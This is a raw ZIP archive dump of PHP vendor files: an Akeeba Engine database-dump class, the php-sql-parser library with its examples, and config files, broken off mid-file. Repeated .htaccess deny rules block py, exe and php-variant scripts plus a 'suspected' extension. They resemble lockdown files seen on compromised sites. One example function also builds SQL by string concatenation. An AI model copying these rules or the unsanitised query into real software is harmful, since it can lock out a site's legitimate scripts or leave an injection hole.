			$driver   = $this->_parametersArray['driver'] ?? 'mysql';
			$prefix   = $this->_parametersArray['prefix'] ?? '';

			if (($driver == 'mysql') && !function_exists('mysql_connect'))
			{
				$driver = 'mysqli';
			}

			$options = [
				'driver'   => $driver,
				'host'     => $this->_parametersArray['host'] ?? '',
				'port'     => $this->_parametersArray['port'] ?? '',
				'user'     => $this->_parametersArray['user'] ?? ($this->_parametersArray['username'] ?? ''),
				'password' => $this->_parametersArray['password'] ?? '',
				'database' => $this->_parametersArray['database'] ?? '',
				'schema'   => $this->_parametersArray['schema'] ?? '',
				'prefix'   => is_null($prefix) ? '' : $prefix,
			];

			$options['ssl'] = $this->_parametersArray['ssl'] ?? [];
			$options['ssl'] = is_array($options['ssl']) ? $options['ssl'] : [];

			$options['ssl']['enable']             = (bool) ($options['ssl']['enable'] ?? $this->_parametersArray['dbencryption'] ?? false);
			$options['ssl']['cipher']             = ($options['ssl']['cipher'] ?? $this->_parametersArray['dbsslcipher'] ?? null) ?: null;
			$options['ssl']['ca']                 = ($options['ssl']['ca'] ?? $this->_parametersArray['dbsslca'] ?? null) ?: null;
			$options['ssl']['capath']             = ($options['ssl']['capath'] ?? $this->_parametersArray['dbsslcapath'] ?? null) ?: null;
			$options['ssl']['key']                = ($options['ssl']['key'] ?? $this->_parametersArray['dbsslkey'] ?? null) ?: null;
			$options['ssl']['cert']               = ($options['ssl']['cert'] ?? $this->_parametersArray['dbsslcert'] ?? null) ?: null;
			$options['ssl']['verify_server_cert'] = (bool) (($options['ssl']['verify_server_cert'] ?? $this->_parametersArray['dbsslverifyservercert'] ?? false) ?: false);

		}

		$db         = Factory::getDatabase($options);

		if ($db->getErrorNum() > 0)
		{
			$error = $db->getErrorMsg();

			throw new RuntimeException(__CLASS__ . ' :: Database Error: ' . $error);
		}

		$driverType = $db->getDriverType();
		
		if ($driverType == 'pgsql')
		{
			$driverType = 'postgres';
		}

		$className  = '\\Akeeba\\Engine\\Dump\\Native\\' . ucfirst($driverType);

		// Check if we have a native dump driver
		if (!class_exists($className, true))
		{
			$this->setState(self::STATE_ERROR);

			throw new ErrorException('Akeeba Engine does not have a native dump engine for ' . $driverType . ' databases');
		}

		Factory::getLog()->debug(__CLASS__ . " :: Instanciating new native database dump engine $className");

		$this->_engine = new $className;

		$this->_engine->setup($this->_parametersArray);

		$this->_engine->callStage('_prepare');
		$this->setState($this->_engine->getState());
		$this->tablePrefix = $this->_engine->getPrefix();
	}

	/**
	 * Runs the finalisation process for this part. Should set
	 * _isFinished to true.
	 *
	 * @return  void
	 */
	protected function _finalize()
	{
		$this->_engine->callStage('_finalize');
		$this->setState($this->_engine->getState());
	}

	/**
	 * Runs the main functionality loop for this part. Upon calling,
	 * should set the _isRunning to true. When it finished, should set
	 * the _hasRan to true. If an error is encountered, setError should
	 * be used.
	 *
	 * @return  void
	 */
	protected function _run()
	{
		$this->_engine->callStage('_run');
		$this->setState($this->_engine->getState());
		$this->setStep($this->_engine->getStep());
		$this->setSubstep($this->_engine->getSubstep());
		$this->partNumber = $this->_engine->partNumber;
	}

	/**
	 * Get the database table prefix
	 *
	 * @return string The database prefix
	 */
	public function getPrefix()
	{
		return $this->tablePrefix;
	}

}
PK     \Sʉ      *  vendor/akeeba/engine/engine/Dump/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \|N    &  vendor/akeeba/engine/engine/web.confignu [        <?xml version="1.0"?>
<!--
    This only works on IIS 7 or later. See https://www.iis.net/configreference/system.webserver/security/requestfiltering/fileextensions
-->
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <fileExtensions allowUnlisted="false" >
                    <clear />
                    <add fileExtension=".html" allowed="true"/>
                </fileExtensions>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>PK     \Sʉ      %  vendor/akeeba/engine/engine/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        vendor/akeeba/engine/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ        vendor/akeeba/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \o    +  vendor/greenlion/php-sql-parser/phpunit.xmlnu [        <?xml version="1.0" encoding="UTF-8"?>
<phpunit backupGlobals="false"
  backupStaticAttributes="false"
  convertDeprecationsToExceptions="true"
  verbose="true"
  bootstrap="tests/bootstrap.php">
  <testsuites>
    <testsuite name="Tests">
       <directory suffix="Test.php">tests</directory>
    </testsuite>
  </testsuites>
  <coverage includeUncoveredFiles="true">
    <include>
      <directory suffix=".php">./src</directory>
    </include>
  </coverage>
</phpunit>
PK     \K:0  0  @  vendor/greenlion/php-sql-parser/examples/OracleSQLTranslator.phpnu [        <?php
/**
 * OracleSQLTranslator.php
 *
 * A translator from MySQL dialect into Oracle dialect for Limesurvey
 * (http://www.limesurvey.org/)
 *
 * Copyright (c) 2012, André Rothe <arothe@phosco.info, phosco@gmx.de>
 *
 * All rights reserved.
 *
 * Redistribution and use in source and binary forms, with or without modification,
 * are permitted provided that the following conditions are met:
 *
 *   * Redistributions of source code must retain the above copyright notice,
 *     this list of conditions and the following disclaimer.
 *   * Redistributions in binary form must reproduce the above copyright notice,
 *     this list of conditions and the following disclaimer in the documentation
 *     and/or other materials provided with the distribution.
 *
 * THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY
 * EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
 * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT
 * SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT,
 * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED
 * TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR
 * BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN
 * CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
 * ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
 * DAMAGE.
 */

namespace PHPSQLParser;
require_once dirname(__FILE__) . '/../vendor/autoload.php';
include_once $rootdir . '/classes/adodb/adodb.inc.php';

$_ENV['DEBUG'] = 1;

/**
 * This class enhances the PHPSQLCreator to translate incoming
 * parser output into another SQL dialect (here: Oracle SQL).
 * 
 * @author arothe
 *
 */
class OracleSQLTranslator extends PHPSQLCreator {

    private $con; # this is the database connection from LimeSurvey
    private $preventColumnRefs = array();
    private $allTables = array();
    const ASTERISK_ALIAS = "[#RePl#]";

    public function __construct($con) {
        parent::__construct();
        $this->con = $con;
        $this->initGlobalVariables();
    }

    private function initGlobalVariables() {
        $this->preventColumnRefs = false;
        $this->allTables = array();
    }

    public static function dbgprint($txt) {
        if (isset($_ENV['DEBUG'])) {
            print $txt;
        }
    }

    public static function preprint($s, $return = false) {
        $x = "<pre>";
        $x .= print_r($s, 1);
        $x .= "</pre>";
        if ($return) {
            return $x;
        }
        self::dbgprint($x . "<br/>\n");
    }

    protected function processAlias($parsed) {
        if ($parsed === false) {
            return "";
        }
        # we don't need an AS between expression and alias
        $sql = " " . $parsed['name'];
        return $sql;
    }

    protected function processDELETE($parsed) {
        if (count($parsed['TABLES']) > 1) {
            die("cannot translate delete statement into Oracle dialect, multiple tables are not allowed.");
        }
        return "DELETE";
    }

    public static function getColumnNameFor($column) {
        if (strtolower($column) === 'uid') {
            $column = "uid_";
        }
        // TODO: add more here, if necessary
        return $column;
    }

    public static function getShortTableNameFor($table) {
        if (strtolower($table) === 'surveys_languagesettings') {
            $table = 'surveys_lngsettings';
        }
        // TODO: add more here, if necessary     
        return $table;
    }

    protected function processTable($parsed, $index) {
        if ($parsed['expr_type'] !== 'table') {
            return "";
        }

        $sql = $this->getShortTableNameFor($parsed['table']);
        $alias = $this->processAlias($parsed['alias']);
        $sql .= $alias;

        if ($index !== 0) {
            $sql = $this->processJoin($parsed['join_type']) . " " . $sql;
            $sql .= $this->processRefType($parsed['ref_type']);
            $sql .= $this->processRefClause($parsed['ref_clause']);
        }

        # store the table and its alias for later use
        $last = array_pop($this->allTables);
        $last['tables'][] = array('table' => $this->getShortTableNameFor($parsed['table']), 'alias' => trim($alias));
        $this->allTables[] = $last;

        return $sql;
    }

    protected function processFROM($parsed) {
        $this->allTables[] = array('tables' => array(), 'alias' => '');
        return parent::processFROM($parsed);
    }

    protected function processTableExpression($parsed, $index) {
        if ($parsed['expr_type'] !== 'table_expression') {
            return "";
        }
        $sql = substr($this->processFROM($parsed['sub_tree']), 5); // remove FROM keyword
        $sql = "(" . $sql . ")";

        $alias .= $this->processAlias($parsed['alias']);
        $sql .= $alias;

        # store the tables-expression-alias for later use
        $last = array_pop($this->allTables);
        $last['alias'] = trim($alias);
        $this->allTables[] = $last;

        if ($index !== 0) {
            $sql = $this->processJoin($parsed['join_type']) . " " . $sql;
            $sql .= $this->processRefType($parsed['ref_type']);
            $sql .= $this->processRefClause($parsed['ref_clause']);
        }
        return $sql;
    }

    private function getTableNameFromExpression($expr) {
        $pos = strpos($expr, ".");
        if ($pos === false) {
            $pos = -1;
        }
        return trim(substr($expr, 0, $pos + 1), ".");
    }

    private function getColumnNameFromExpression($expr) {
        $pos = strpos($expr, ".");
        if ($pos === false) {
            $pos = -1;
        }
        return substr($expr, $pos + 1);
    }

    private function isCLOBColumnInDB($table, $column) {
        $res = $this->con->GetOne(
                "SELECT count(*) FROM user_lobs WHERE table_name='" . strtoupper($table) . "' AND column_name='"
                        . strtoupper($column) . "'");
        return ($res >= 1);
    }

    protected function isCLOBColumn($table, $column) {
        $tables = end($this->allTables);

        if ($table === "") {
            foreach ($tables['tables'] as $k => $v) {
                if ($this->isCLOBColumn($v['table'], $column)) {
                    return true;
                }
            }
            return false;
        }

        # check the aliases, $table cannot be empty
        foreach ($tables['tables'] as $k => $v) {
            if ((strtolower($v['alias']) === strtolower($table))
                    || (strtolower($tables['alias']) === strtolower($table))) {
                if ($this->isCLOBColumnInDB($v['table'], $column)) {
                    return true;
                }
            }
        }

        # it must be a valid table name
        return $this->isCLOBColumnInDB($table, $column);
    }

    protected function processOrderByExpression($parsed) {
        if ($parsed['expr_type'] !== 'expression') {
            return "";
        }

        $table = $this->getTableNameFromExpression($parsed['base_expr']);
        $col = $this->getColumnNameFromExpression($parsed['base_expr']);

        $sql = ($table !== "" ? $table . "." : "") . $col;

        # check, if the column is a CLOB
        if ($this->isCLOBColumn($table, $col)) {
            $sql = "cast(substr(" . $sql . ",1,200) as varchar2(200))";
        }

        return $sql . " " . $parsed['direction'];
    }

    protected function processColRef($parsed) {
        if ($parsed['expr_type'] !== 'colref') {
            return "";
        }

        $table = $this->getTableNameFromExpression($parsed['base_expr']);
        $col = $this->getColumnNameFromexpression($parsed['base_expr']);

        # we have to change the column name, if the column is uid
        # we have to change the tablereference, if the tablename is too long
        $col = $this->getColumnNameFor($col);
        $table = $this->getShortTableNameFor($table);

        # if we have * as colref, we cannot use other columns
        # we have to add alias.* if we know all table aliases
        if (($table === "") && ($col === "*")) {
            array_pop($this->preventColumnRefs);
            $this->preventColumnRefs[] = true;
            return ASTERISK_ALIAS; # this is the position, we have to replace later
        }

        $alias = "";
        if (isset($parsed['alias'])) {
            $alias = $this->processAlias($parsed['alias']);
        }

        return (($table !== "") ? ($table . "." . $col) : $col) . $alias;
    }

    protected function processFunctionOnSelect($parsed) {
        $old = end($this->preventColumnRefs);
        $sql = $this->processFunction($parsed);

        if ($old !== end($this->preventColumnRefs)) {
            # prevents wrong handling of count(*)
            array_pop($this->preventColumnRefs);
            $this->preventColumnRefs[] = $old;
            $sql = str_replace(ASTERISK_ALIAS, "*", $sql);
        }
        return $sql;
    }

    protected function processSELECT($parsed) {
        $this->preventColumnRefs[] = false;

        $sql = "";
        foreach ($parsed as $k => $v) {
            $len = strlen($sql);
            $sql .= $this->processColRef($v);
            $sql .= $this->processSelectExpression($v);
            $sql .= $this->processFunctionOnSelect($v);
            $sql .= $this->processConstant($v);

            if ($len == strlen($sql)) {
                $this->stop('SELECT', $k, $v, 'expr_type');
            }

            $sql .= ",";
        }
        $sql = substr($sql, 0, -1);
        return "SELECT " . $sql;
    }

    private function correctColRefStatement($sql) {
        $alias = "";
        $tables = end($this->allTables);

        # should we correct the selection list?
        if (array_pop($this->preventColumnRefs)) {

            # do we have a table-expression alias?
            if ($tables['alias'] !== "") {
                $alias = $tables['alias'] . ".*";
            } else {
                foreach ($tables['tables'] as $k => $v) {
                    $alias .= ($v['alias'] === "" ? $v['table'] : $v['alias']) . ".*,";
                }
                $alias = substr($alias, 0, -1);
            }
            $sql = str_replace(ASTERISK_ALIAS, $alias, $sql);
        }
        return $sql;
    }

    protected function processSelectStatement($parsed) {
        $sql = $this->processSELECT($parsed['SELECT']);
        $from = $this->processFROM($parsed['FROM']);

        # correct * references with tablealias.*
        # this must be called after processFROM(), because we need the table information
        $sql = $this->correctColRefStatement($sql) . " " . $from;

        if (isset($parsed['WHERE'])) {
            $sql .= " " . $this->processWHERE($parsed['WHERE']);
        }
        if (isset($parsed['GROUP'])) {
            $sql .= " " . $this->processGROUP($parsed['GROUP']);
        }
        if (isset($parsed['ORDER'])) {
            $sql .= " " . $this->processORDER($parsed['ORDER']);
        }

        # select finished, we remove its tables
        #  FIXME: we should add it to the previous tablelist with the
        #  global alias, if such one exists
        array_pop($this->allTables);

        return $sql;
    }

    public function create($parsed) {
        $k = key($parsed);
        switch ($k) {
        case "USE":
        # this statement is not an Oracle statement
            $this->created = "";
            break;

        default:
            $this->created = parent::create($parsed);
            break;
        }
        return $this->created;
    }

    public function process($sql) {
        self::dbgprint($sql . "<br/>");

        $this->initGlobalVariables();
        $parser = new PHPSQLParser($sql);
        self::preprint($parser->parsed);

        $sql = $this->create($parser->parsed);
        self::dbgprint($sql . "<br/>");

        return $sql;
    }
}

//$translator = new OracleSQLTranslator(false);
//$translator->process("SELECT q.qid, question, gid FROM questions as q WHERE (select count(*) from answers as a where a.qid=q.qid and scale_id=0)=0 and sid=11929 AND type IN ('F', 'H', 'W', 'Z', '1') and q.parent_qid=0");
//$translator->process("SELECT *, (SELECT a from xyz WHERE b>1) haha, (SELECT *, b from zks,abc WHERE d=1) hoho FROM blubb d, blibb c WHERE d.col = c.col");

?>PK     \׶1A    4  vendor/greenlion/php-sql-parser/examples/example.phpnu [        <?php

/**
 * you cannot execute this script within Eclipse PHP
 * because of the limited output buffer. Try to run it
 * directly within a shell.
 */

namespace PHPSQLParser;
require_once dirname(__FILE__) . '/../vendor/autoload.php';

$sql = 'SELECT 1';
echo $sql . "\n";
$start = microtime(true);
$parser = new PHPSQLParser($sql, true);
$stop = microtime(true);
print_r($parser->parsed);
echo "parse time simplest query:" . ($stop - $start) . "\n";

/*You can use the constuctor for parsing.  The parsed statement is stored at the ->parsed property.*/
$sql = 'REPLACE INTO table (a,b,c) VALUES (1,2,3)';
echo $sql . "\n";
$start = microtime(true);
$parser = new PHPSQLParser($sql);
$stop = microtime(true);
print_r($parser->parsed);
echo "parse time very somewhat simple statement:" . ($stop - $start) . "\n";

/* You can use the ->parse() method too.  The parsed structure is returned, and 
   also available in the ->parsed property. */
$sql = 'SELECT a,b,c 
          from some_table an_alias
	where d > 5;';
echo $sql . "\n";
print_r($parser->parse($sql, true));

$sql = 'SELECT a,b,c 
          from some_table an_alias
	  join `another` as `another table` using(id)
	where d > 5;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql, true);
print_r($parser->parsed);

$sql = 'SELECT a,b,c 
          from some_table an_alias
	  join (select d, max(f) max_f
                 from some_table 
                where id = 37
                group by d) `subqry` on subqry.d = an_alias.d
	where d > 5;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "(select `c2`, `c```, \"quoted \'string\' \\\" with `embedded`\\\"\\\" quotes\" as `an``alias` from table table)
UNION ALL (select `c2`, `c```, \"quoted \'string\' \\\" with `embedded`\\\"\\\" quotes\" as `an``alias` from table table)";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "(select `c2`, `c```, \"quoted \'string\' \\\" with `embedded`\\\"\\\" quotes\" as `an``alias` from table table)
UNION  (select `c2`, `c```, \"quoted \'string\' \\\" with `embedded`\\\"\\\" quotes\" as `an``alias` from table table)";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "select `c2`, `c```, \"quoted \'string\' \\\" with `embedded`\\\"\\\" quotes\" as `an``alias` from table table";
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "alter table xyz add key my_key(a,b,c), drop primay key";
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'INSERT INTO table (a,b,c) VALUES (1,2,3)
  ON DUPLICATE KEY UPDATE id=LAST_INSERT_ID(id), c=3;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'UPDATE t1 SET col1 = col1 + 1, col2 = col1;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'DELETE FROM t1, t2 USING t1 INNER JOIN t2 INNER JOIN t3
WHERE t1.id=t2.id AND t2.id=t3.id;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'delete low_priority partitioned_table.* from partitioned_table where partition_id = 1;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "UPDATE t1 SET col1 = col1 + 1, col2 = col1;";
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'insert into partitioned_table (partition_id, some_col) values (1,2);';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'delete from partitioned_table where partition_id = 1;';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'SELECT 1';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'SHOW TABLE STATUS';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'SHOW TABLES';
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'select DISTINCT 1+2   c1, 1+ 2 as 
`c2`, sum(c2),"Status" = CASE
        WHEN quantity > 0 THEN \'in stock\'
        ELSE \'out of stock\'
        END 
, t4.c1, (select c1+c2 from t1 inner_t1 limit 1) as subquery into @a1, @a2, @a3 from t1 the_t1 left outer join t2 using(c1,c2) join t3 as tX on tX.c1 = the_t1.c1 natural join t4 t4_x using(cX)  where c1 = 1 and c2 in (1,2,3, "apple") and exists ( select 1 from some_other_table another_table where x > 1) and ("zebra" = "orange" or 1 = 1) group by 1, 2 having sum(c2) > 1 ORDER BY 2, c1 DESC LIMIT 0, 10 into outfile "/xyz" FOR UPDATE LOCK IN SHARE MODE';

echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = "(select 1, 1, 1, 1 from dual dual1) union all (select 2, 2, 2, 2 from dual dual2) union all (select c1,c2,c3,sum(c4) from (select c1,c2,c3,c4 from a_table where c2 = 1) subquery group by 1,2,3) limit 10";
echo $sql . "\n";
$parser = new PHPSQLParser($sql);
print_r($parser->parsed);

$sql = 'select DISTINCT 1+2   c1, 1+ 2 as 
`c2`, sum(c2),"Status" = CASE
        WHEN quantity > 0 THEN "in stock"
        ELSE "out of stock"
        END 
, t4.c1, (select c1+c2 from t1 table limit 1) as subquery into @a1, @a2, @a3 from `table` the_t1 left outer join t2 using(c1,c2) join
(select a, b, length(concat(a,b,c)) from ( select 1 a,2 b,3 c from some_Table ) table ) subquery_in_from join t3 as tX on tX.c1 = the_t1.c1 natural join t4 t4_x using(cX)  where c1 = 1 and c2 in (1,2,3, "apple") and exists ( select 1 from some_other_table another_table where x > 1) and ("zebra" = "orange" or 1 = 1) group by 1, 2 having sum(c2) > 1 ORDER BY 2, c1 DESC LIMIT 0, 10 into outfile "/xyz" FOR UPDATE LOCK IN SHARE MODE
UNION ALL
SELECT NULL,NULL,NULL,NULL,NULL FROM DUAL LIMIT 1';

$start = microtime(true);
$parser = new PHPSQLParser($sql);
$stop = microtime(true);
echo "Parse time highly complex statement: " . ($stop - $start) . "\n";

?>
PK     \Sʉ      2  vendor/greenlion/php-sql-parser/examples/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \]M  M  *  vendor/greenlion/php-sql-parser/.buildpathnu [        <?xml version="1.0" encoding="UTF-8"?>
<buildpath>
	<buildpathentry excluding="src/|tests/|examples/" kind="src" path=""/>
	<buildpathentry kind="src" path="src"/>
	<buildpathentry kind="src" path="tests"/>
	<buildpathentry kind="src" path="examples"/>
	<buildpathentry kind="con" path="org.eclipse.php.core.LANGUAGE"/>
</buildpath>
PK     \'d7  7  -  vendor/greenlion/php-sql-parser/composer.jsonnu [        {
	"name" : "greenlion/php-sql-parser",
	"type" : "library",
	"description" : "A pure PHP SQL (non validating) parser w/ focus on MySQL dialect of SQL",
	"keywords" : [
		"sql",
		"parser",
		"creator",
		"MySQL"
	],
	"homepage" : "https://github.com/greenlion/PHP-SQL-Parser",
	"license" : "BSD-3-Clause",
	"authors" : [{
			"name" : "Justin Swanhart",
			"email" : "greenlion@gmail.com",
			"homepage" : "http://code.google.com/u/greenlion@gmail.com/",
			"role" : "Owner"
		}, {
			"name" : "André Rothe",
			"email" : "phosco@gmx.de",
			"homepage" : "https://www.phosco.info",
			"role" : "Committer"
		}
	],
	"support" : {
		"issues" : "https://github.com/greenlion/PHP-SQL-Parser/issues",
		"source" : "https://github.com/greenlion/PHP-SQL-Parser"
	},
	"autoload" : {
		"psr-0" : {
			"PHPSQLParser\\" : "src/"
		}
	},
	"autoload-dev" : {
		"psr-4" : {
			"PHPSQLParser\\Test\\" : "tests/cases/"
		}
	},
	"require" : {
		"php" : ">=5.3.2"
	},
	"require-dev" : {
		"squizlabs/php_codesniffer" : "^2.8.1",
		"phpunit/phpunit" : "^9.5.13",
		"analog/analog" : "^1.0.6"
	}
}
PK     \\?6  6  +  vendor/greenlion/php-sql-parser/.travis.ymlnu [        language: php
dist: trusty

php:
  - 5.4
  - 5.5
  - 5.6
  - 7.0
  - 7.1
  - 7.2
  - 7.3
  - nightly

cache:
  directories:
    - $HOME/.composer/cache

before_script:
  - composer install

script: vendor/bin/phpunit --configuration phpunit.xml

matrix:
  fast_finish: true
  allow_failures:
    - php: nightlyPK     \WZ
  
  '  vendor/greenlion/php-sql-parser/LICENSEnu [        Copyright (c) 2014, Justin Swanhart <greenlion@gmail.com> and André Rothe <phosco@gmx.de>
All rights reserved.

Redistribution and use in source and binary forms, with or without
modification, are permitted provided that the following conditions are met:

* Redistributions of source code must retain the above copyright notice, this
  list of conditions and the following disclaimer.

* Redistributions in binary form must reproduce the above copyright notice,
  this list of conditions and the following disclaimer in the documentation
  and/or other materials provided with the distribution.

* Neither the name of the {organization} nor the names of its
  contributors may be used to endorse or promote products derived from
  this software without specific prior written permission.

THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
PK     \X`    (  vendor/greenlion/php-sql-parser/.projectnu [        <?xml version="1.0" encoding="UTF-8"?>
<projectDescription>
	<name>PHP-SQL-Parser</name>
	<comment></comment>
	<projects>
	</projects>
	<buildSpec>
		<buildCommand>
			<name>org.eclipse.wst.validation.validationbuilder</name>
			<arguments>
			</arguments>
		</buildCommand>
		<buildCommand>
			<name>org.eclipse.dltk.core.scriptbuilder</name>
			<arguments>
			</arguments>
		</buildCommand>
	</buildSpec>
	<natures>
		<nature>org.eclipse.php.core.PHPNature</nature>
	</natures>
</projectDescription>
PK     \    B  vendor/greenlion/php-sql-parser/.settings/org.eclipse.php.ui.prefsnu [        #Mon Dec 16 10:33:48 CET 2013
eclipse.preferences.version=1
org.eclipse.php.ui.text.custom_code_templates=<?xml version\="1.0" encoding\="UTF-8" standalone\="no"?><templates><template autoinsert\="true" context\="php_gettercomment_context" deleted\="false" description\="Comment for getter methods" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.gettercomment" name\="gettercomment">/**\n * @return the ${bare_field_name}\n */</template><template autoinsert\="true" context\="php_settercomment_context" deleted\="false" description\="Comment for setter methods" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.settercomment" name\="settercomment">/**\n * @param ${field_type} ${bare_field_name}\n */</template><template autoinsert\="true" context\="php_constructorcomment_context" deleted\="false" description\="Comment for created constructors" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.constructorcomment" name\="constructorcomment">/**\n * Enter description here ...\n * ${tags}\n */</template><template autoinsert\="false" context\="php_filecomment_context" deleted\="false" description\="Comment for created PHP files" enabled\="true" id\="org.eclipse.php.ui.editor.templates.php.codetemplates.filecomment" name\="filecomment">/**\n * Enter description here...\n *\n * PHP version 5\n *\n * LICENSE\:\n * Copyright (c) 2010-2014 Justin Swanhart and Andr\u00E9 Rothe\n * All rights reserved.\n *\n * Redistribution and use in source and binary forms, with or without\n * modification, are permitted provided that the following conditions\n * are met\:\n * 1. Redistributions of source code must retain the above copyright\n *    notice, this list of conditions and the following disclaimer.\n * 2. Redistributions in binary form must reproduce the above copyright\n *    notice, this list of conditions and the following disclaimer in the\n *    documentation and/or other materials provided with the distribution.\n * 3. The name of the author may not be used to endorse or promote products\n *    derived from this software without specific prior written permission.\n *\n * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR\n * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES\n * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.\n * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT,\n * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT\n * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE,\n * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY\n * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT\n * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF\n * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.\n * \n * @author    Andr\u00E9 Rothe &lt;andre.rothe@phosco.info&gt;\n * @copyright 2010-2014 Justin Swanhart and Andr\u00E9 Rothe\n * @license   http\://www.debian.org/misc/bsd.license  BSD License (3 Clause)\n * @version   SVN\: $$Id\:$$\n * \n */</template><template autoinsert\="true" context\="php_typecomment_context" deleted\="false" description\="Comment for created types" enabled\="true" 